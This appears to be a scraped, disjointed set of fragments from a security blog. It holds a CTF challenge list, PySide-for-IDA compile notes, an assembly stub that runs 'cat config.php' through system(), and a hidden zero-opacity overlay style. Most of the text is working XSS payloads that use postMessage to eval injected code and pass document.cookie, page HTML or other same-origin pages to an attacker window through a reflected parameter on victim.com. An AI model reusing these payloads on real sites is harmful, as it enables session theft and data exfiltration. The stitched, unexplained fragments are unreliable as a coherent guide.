ancat

<style>
.like{
position:absolute;
-moz-transform: scale(2,1);
-webkit-transform: scale(2,1);
-ms-transform: scale(2,1);
opacity:.0;
top:18%;
left:27%;
}

ancat

Practice Challenges

• HSVM sum challenge
• pCTF 2013 "cone" challenge
• CSAW 2013 reversing 300

Resources/Writeups

• Eindbazen "cone" writeup
• Rolf Rolle's z3 based solution to some math problem
• SMT Solvers for Software Security

ancat

Compiling PySide for IDA Pro on Windows

If you've ever wanted to use IDA's native GUIs, you'll need PySide. Unfortunately PySide is annoying to compile, and the only available binaries are for Python 2.6. This should work for any version.

Note: The python module installer executable at the end of this guide did not work for me. The compiled pyd and dll files, however were completely usable from within IDA.

Prequisites

• Visual Studio 2010
• Visual Studio 2010 Service Pack 1

ancat

section .data
cmd:
    db "cat config.php", 10

section .text
    global _start
    extern system

_start:
    push cmd

ancat

<script>
    window.addEventListener('message', function(e) {eval(e.data)}, false);
</script>

ancat

<script>
    window.top.postMessage(document.cookie, '*');
</script>

ancat

<script>
    window.addEventListener(
        'message',
        function(e) {
            window.top.postMessage(
                function() {var x=new XMLHttpRequest();x.open('GET',e.data,false);x.send();return x.responseText}(), '*'
            )
        },
    false);
</script>

ancat

<script>
    var w = window.open("http://www.victim.com/vulnerable.php?string=<script>window.addEventListener('message', function(e) {eval(e.data);}, false)</script>", "somewindow");
    w.postMessage("window.opener.postMessage(document.body.innerHTML, '*')", "*");
</script>

ancat

http://victim.com/vulnerable.php?string=<script>window.top.postMessage(function() {var x=new XMLHttpRequest();x.open('GET','/other/page.html',false);x.send();return x.responseText}(), '*')</script>

ancat

http://victim.com/vulnerable.php?string=<script>window.top.postMessage(document.body.innerHTML, '*')</script>